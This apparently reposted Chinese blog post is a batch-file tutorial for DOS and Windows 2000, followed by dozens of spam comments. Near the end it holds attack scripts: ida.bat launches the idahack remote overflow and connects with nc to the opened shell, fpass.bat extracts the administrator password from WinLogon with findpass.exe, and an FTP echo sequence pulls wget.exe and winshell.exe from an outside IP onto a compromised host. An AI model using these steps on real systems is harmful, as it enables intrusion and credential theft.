2007年6月26日星期二

[转载]BAT编写详细手册

首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的 DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch 目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D:\TEMP

SET TMP=D:\TEMP

批处理的作用

简单的说,批处理的作用就是自动的连续执行多条命令。

这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):

C:\>cd wps

C:\WPS>spdos

C:\WPS>py

C:\WPS>wbx

C:\WPS>wps

如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?

好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:

@echo off

c:

cd\wps

spdos

py

wbx

wps

cd\

以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为: 命令注释:

@echo off           不显示后续命令行及当前命令行

dir c:\*.* >a.txt       将c盘文件列表写入a.txt

call c:\ucdos\ucdos.bat    调用ucdos

echo 你好 显示"你好"

pause 暂停,等待按键继续

rem 准备运行wps 注释:准备运行wps

cd ucdos 进入ucdos目录

wps 运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1

如果执行C:\>f a:

那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为:

@echo off

type %1

type %2

那么运行C:\>t a.txt b.txt

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

特殊命令

if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

2、if [not] exist [路径\]文件名 待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys

表示如果存在c:\config.sys文件,则显示它的内容。

3、if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

如:

goto end

:end

echo this is the end

标号用":字符串"来定义,标号所在行不被执行。

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:

/C choices 指定要创建的选项列表。默认列表是 "YN"。

/N         在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。

/CS 允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。

/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项

           会得到选择。

/D choice    在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

/M text     指定提示之前要显示的消息。如果没有指定,工具只显示提示。

/?         显示帮助消息。

 注意:

ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。

示例:

CHOICE /?

CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errotlevel 1 goto defrag

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法:

对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable    指定一个单一字母可替换的参数。

(set)      指定一个或一组文件。可以使用通配符。

command     指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:

for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

批处理示例

1. IF-EXIST

1)

首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:

@echo off

IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT

IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后运行它:

C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

2)

接着再建立一个test2.bat文件,内容如下:

@ECHO OFF

IF EXIST \%1 TYPE \%1

IF NOT EXIST \%1 ECHO \%1 does not exist

执行:

C:\>TEST2 AUTOEXEC.BAT

该命令运行结果同上。

说明:

(1) IF EXIST 是用来测试文件是否存在的,格式为

IF EXIST [路径+文件名] 命令

(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:

@echo off

IF "%1" == "A" ECHO XIAO

IF "%2" == "B" ECHO TIAN

IF "%3" == "C" ECHO XIN

如果运行:

C:\>TEST3 A B C

屏幕上会显示:

XIAO

TIAN

XIN

如果运行:

C:\>TEST3 A B

屏幕上会显示

XIAO

TIAN

在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT,内容如下:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败

IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件:

C:\>TEST4

如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

IF ERRORLEVEL 0 ECHO 成功拷贝文件

IF ERRORLEVEL 1 ECHO 未找到拷贝文件

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:

backup

0 备份成功

1 未找到备份文件

2 文件共享冲突阻止备份完成

3 用户用ctrl-c中止备份

4 由于致命的错误使备份操作中止

diskcomp

0 盘比较相同

1 盘比较不同

2 用户通过ctrl-c中止比较操作

3 由于致命的错误使比较操作中止

4 预置错误中止比较

diskcopy

0 盘拷贝操作成功

1 非致命盘读/写错

2 用户通过ctrl-c结束拷贝操作

3 因致命的处理错误使盘拷贝中止

4 预置错误阻止拷贝操作

format

0 格式化成功

3 用户通过ctrl-c中止格式化处理

4 因致命的处理错误使格式化中止

5 在提示"proceed with format(y/n)?"下用户键入n结束

xcopy

0 成功拷贝文件

1 未找到拷贝文件

2 用户通过ctrl-c中止拷贝操作

4 预置错误阻止文件拷贝操作

5 拷贝过程中写盘错误

3、IF STRING1 == STRING2

建立TEST5.BAT,文件内容如下:

@echo off

IF "%1" == "A" formAT A:

执行:

C:\>TEST5 A

屏幕上就出现是否将A:盘格式化的内容。

注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。

如:if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT,文件内容如下:

@ECHO OFF

IF EXIST C:\AUTOEXEC.BAT GOTO _COPY

GOTO _DONE

:_COPY

COPY C:\AUTOEXEC.BAT D:\

:_DONE

注意:

(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。

(2) 标号的命名规则与文件名的命名规则相同。

(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

6、FOR

建立C:\TEST7.BAT,文件内容如下:

@ECHO OFF

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

运行:

C:>TEST7

执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。

win2000命令行方式批处理BAT文件技巧

文章结构

1. 所有内置命令的帮助信息

2. 环境变量的概念

3. 内置的特殊符号(实际使用中间注意避开)

4. 简单批处理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

###########################

1. 所有内置命令的帮助信息

###########################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

#############################

2. 环境变量的概念

#############################

C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%\system32\.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir% 变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作

C:\>dir p*

C:\ 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 个文件 2,164 字节

1 个目录 1,505,997,824 可用字节

C:\>cd pro*

C:\Program Files>

C:\>

C:\>cd "Program Files"

C:\Program Files>

############################################

3. 内置的特殊符号(实际使用中间注意避开)

############################################

微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux \ / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" <> nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件

>> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa &amp; echo bb)

, 和空格一样的缺省分隔符号.

; 注释,表示后面为注释

: 标号作用

| 管道操作

& Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

########################

4. 简单批处理文件概念

########################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"

这个将要列出所有连接3389的用户的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

_____________________ida.bat__END_______

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir %\system32\findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir %\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo ____________________________________

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

58 条评论:

匿名 说...

Oi, achei teu blog pelo google tá bem interessante gostei desse post. Quando der dá uma passada pelo meu blog, é sobre camisetas personalizadas, mostra passo a passo como criar uma camiseta personalizada bem maneira.(If you speak English can see the version in English of the Camiseta Personalizada. Thanks for the attention, bye). Até mais.

匿名 说...

Hello. This post is likeable, and your blog is very interesting, congratulations :-). I will add in my blogroll =). If possible gives a last there on my site, it is about the CresceNet, I hope you enjoy. The address is http://www.provedorcrescenet.com . A hug.

匿名 说...

Hello. This post is likeable, and your blog is very interesting, congratulations :-). I will add in my blogroll =). If possible gives a last there on my blog, it is about the Wireless, I hope you enjoy. The address is http://wireless-brasil.blogspot.com. A hug.

匿名 说...

majong towers

http://majong.socialgo.com

匿名 说...

atomoxetine strattera dose maximum strattera dose [url=http://connections.blackboard.com/people/a358608ba5] stopping strattera [/url] strattera vs adderall side effects strattera depression children

匿名 说...

bookmarked!!, I really like your website!

My weblog: replica hermes handbags

匿名 说...

My relatives every time say that I am wasting my time here at net, but I know I am getting know-how all the time by reading
thes fastidious articles or reviews.

my web-site :: オークリー激安

匿名 说...

What's up, I check your blogs daily. Your writing style is awesome, keep up the good work!

Here is my web blog - オークリー ゴーグル

匿名 说...

I have been browsing online more than 4 hours today,
yet I never found any interesting article like yours.
It is pretty worth enough for me. In my opinion, if
all web owners and bloggers made good content as you did, the net will be a lot more
useful than ever before.

Feel free to surf to my webpage: オークリーメガネ

匿名 说...

Hey! I just wanted to ask if you ever have any trouble with hackers?
My last blog (wordpress) was hacked and I ended up
losing many months of hard work due to no back up. Do you have any solutions to stop hackers?


Also visit my webpage; レイバンサングラス

匿名 说...

Hello! Would you mind if I share your blog with my zynga
group? There's a lot of folks that I think would really enjoy your content. Please let me know. Many thanks

Also visit my site ... レイバンサングラス

匿名 说...

I just like the helpful information you supply in
your articles. I will bookmark your blog and check again right here regularly.
I'm slightly certain I will be told plenty of new stuff proper right here! Best of luck for the next!

My weblog ... cheap air max 90

匿名 说...

I was extremely pleased to find this site. I wanted to thank you for ones time for this
fantastic read!! I definitely loved every part of it and i also
have you saved to fav to check out new things in your blog.


Also visit my webpage: レイバンサングラス

匿名 说...

There is definately a great deal to find out about this issue.
I really like all of the points you made.

my web site nike free 3.0

匿名 说...

Hmm it appears like your blog ate my first comment (it was super long) so I guess I'll just sum it up what I wrote and say, I'm thoroughly enjoying your blog.
I too am an aspiring blog writer but I'm still new to everything. Do you have any helpful hints for novice blog writers? I'd certainly appreciate it.


Review my web page - シャネル バッグ

匿名 说...

It's fantastic that you are getting thoughts from this post as well as from our discussion made here.

My web-site ... christianlouboutinoutletshopx.com

匿名 说...

Way cool! Some extremely valid points! I appreciate you penning this post and also the rest of the site is also really good.



my page; www.christianlouboutinoutletshop2013.com

匿名 说...

Howdy! Do you know if they make any plugins to help with Search Engine Optimization?

I'm trying to get my blog to rank for some targeted keywords but I'm not seeing very good
gains. If you know of any please share. Thanks!


Also visit my homepage - オークリー ゴーグル

匿名 说...

Hi there! I could have sworn I've visited this blog before but after browsing through a few of the articles I realized it's new to me.
Nonetheless, I'm certainly delighted I found it and I'll be bookmarking it and checking back regularly!


Look at my web-site; blogspot.com

匿名 说...

Having read this I thought it was rather informative. I appreciate you finding the time
and effort to put this informative article together.
I once again find myself spending way too much time both reading
and posting comments. But so what, it was still worthwhile!



Take a look at my web blog レイバンサングラス

匿名 说...

naturally like your web-site but you need to check the spelling on several of
your posts. A number of them are rife with spelling problems and
I to find it very bothersome to inform the reality nevertheless I will certainly come again again.
My web site ... オークリー サングラス

匿名 说...

Woah! I'm really digging the template/theme of this blog. It's simple, yet
effective. A lot of times it's difficult to get that "perfect balance" between user friendliness and visual appeal. I must say you have done a great job with this. Also, the blog loads very quick for me on Firefox. Outstanding Blog!

Also visit my homepage: オークリー サングラス

匿名 说...

What a information of un-ambiguity and preserveness of precious experience regarding unpredicted feelings.


Here is my weblog :: oakley サングラス

匿名 说...

The easiest way to ensure that the online retailer you are dealing with
is reliable is to have feedbacks and data from people who may have dealt
with the website. Ivy Higa (New York, NY) - Season Eight - Big on attitude, loaded
with self-esteem and brimming with talent, Ivy's opinionated and headstrong personality was the source of many conflicts during her season. If you come across a negative hose, spray paint it to mark it and put it aside.

Here is my webpage; ルイ ヴィトン

匿名 说...

Even more shocking, other items inside compost pile from August DID decompose.
"For our business it's an incredibly difficult time," he said.
With a stovepipe jeans, wear volume denim skinny pants trouser legs,
exposing the red and black plaid pattern, fashionable and casual.


My web blog; 財布 クロエ

匿名 说...

Thanks also to the noder (whose name I've forgotten) who msg'd me this almost a year back.
Simply can get all in the come into exposure to leaving your local
plumber enchanting services or products it they he is under
have going to are the thing all your family members are planning to
want. They make use of that data to cope with strengths and weaknesses from the curriculum.


my weblog - ルイヴィトン アウトレット

匿名 说...

Thanks also for the noder (whose name I've forgotten) who msg'd me this several months back.
Simply can get all within the come into experience of leaving your
neighborhood plumber enchanting services or products it they he's under have going to function as the thing all your family members are gonna want. Crop analysts have been lowering production estimates for corn and soybeans on a nearly hourly basis, leading up to what will probably be an historic government monthly crop directory August 10.

My site :: www.chanelbagguoutlet2013c.com

匿名 说...

The first senior Soviet official into the future to America
was Foreign Minister Vyacheslav Molotov, who stumbled on discuss the wartime alliance with President Franklin Roosevelt in 1942.

Leave the tea to brew for between 20 minutes then one hour.
The financial branch from the Italian police is accusing the emblem of redirecting some of its revenues about bat roosting two small tax-friendly countries to avoid paying their
Italian taxes fully - as well as the outstanding bill is reported to
get 70 million.

Feel free to surf to my web site; www.chanelbagguoutlet2013f.com

匿名 说...

Behind heavy security within the middle of Beverly Hills -- Jason.
Ivy Higa (New York, NY) - Season Eight - Big on attitude, full of
self-esteem and full of talent, Ivy's opinionated and headstrong personality was the cause of many conflicts during her season. They will use that data to deal with strengths and weaknesses in the curriculum.

my site: www.paulsmithbagsjpy.com

匿名 说...

Thanks also to the noder (whose name I've forgotten) who msg'd me this several
months back. The company serves customers from coast
to coast in Canada, as well as has a niche in the New England states in addition to being far west as
North Dakota. If you come across a bad hose, spray paint it
to mark it and put it aside.

Here is my web blog www.chanelbagguoutlet2013e.com

匿名 说...

Lava lamps that you buy use high heat and toxic chemicals, however you can create a lava
lamp at home using safe kitchen ingredients". Leave the tea to brew for between 20 minutes then one hour. She have been very fond of her husband: she had buried him.

Also visit my web blog: グッチ

匿名 说...

2 percent owned) doesn play daily, but even starting most
from the time, he puts up decent stats just as one overlooked part with the Rangers loaded lineup.
The company serves customers in every state in Canada, and in addition has market in the New England states so when far west as North Dakota.
Use your lead forms or even a small notebook to record essentially the most vital information.


Feel free to surf to my web site: www.brandbagguoutlete.com

匿名 说...


Eye Buy Direct (starting at $7) stands out with a guarantee of a replacement or full refund (minus shipping) for any reason within 14 business days. Lenses come with anti-scratch coating, and a virtual try-on tool lets consumers compare frames. Those in the know stock up during the site buy-one-get-one-free sales.

Jay-Z's harrumphing [url=http://www.jp-prada.com/]プラダ[/url] began a couple weeks ago when the Economist [url=http://www.jp-prada2013.com/]www.jp-prada2013.com[/url] Prada,プラダ,プラダ 財布 published an article examining the prestigious cuv from several champagne makers, including Louis Roederer, which produces Cristal. Amid the descriptions of the famous consumers of expensive bubbly -- Madonna likes Krug, James Bond drank Moet et Chandon's Dom Perignon -- was the fact that Cristal is the favorite among hip-hop swells. The magazine inquired as to whether the company felt it was a positive thing to have its champagne, originally created for [url=http://www.pradas-japans.com/]www.pradas-japans.com[/url] Prada,プラダ,プラダ 財布 czars, swigged like a bottle of Budweiser.

After 40 years in the business, the Silvers have certainly seen their share of trends rise and fall. "Everything is evolutionary, not revolutionary," [url=http://www.jp-pradabag.com/]プラダ[/url] says Stanley. "Designers bring the past up-to-date so it's in fashion again." Basically, each new trend builds on ideas from the past, and fashion-forward looks are all intertwined in a web and no one is reinventing the wheel.

What may be the a multi function swimming pool inform you of As going to be the insurance coverage [url=http://www.jp-prada2013.com/]Prada[/url] suggests,a resource box is the fact an all in one share with you that is the fact that which they can use to understand more about let you know about going to be the pool and help protect it back and forth from debris. It is the fact that an all in one in thickness and heavy website,a lot of times all around the azure or even " green " color. But, [url=http://www.pradas-japans.com/]プラダ[/url] apart back and forth from this a resource box has many other functions also.

In Milan this September, the runaway show by Prada was a total Buzz. The handbag that had the forum buzzing was the Prada Fairy pouch. The Prada fairies bag will come in only two sizes and [url=http://www.jp-prada.com/]Prada[/url] it also was announced that there is limited edition for similar.

Prada handbagsAs a few years ago just over the life of Footwear. R singer Ciara, Jay - Z songs appeared with a Louboutin content lyrics. Take red sole shoes choices. DePosyter is quick to point out that keyboards will remain an essential part of the band. "For right now it's just us guys, but we have somebody playing [keyboards] with us. It's important for that to still be a part of our band.

Running downwind, AmericaOne made up some time, taking advantage of its superior downwind speed in light air. Three-quarters of the way down the race track, Prada's spinnaker became wrapped in a pretzel-like knot, slowing the boat down. It took more than one minute for the Italian crew to unravel the twisted sail



[url=http://onswagg.com/forums/newreply.php?do=newreply&p=465819&noquote=1]Soutlescese Prada,プラダ,プラダ 財布[/url]
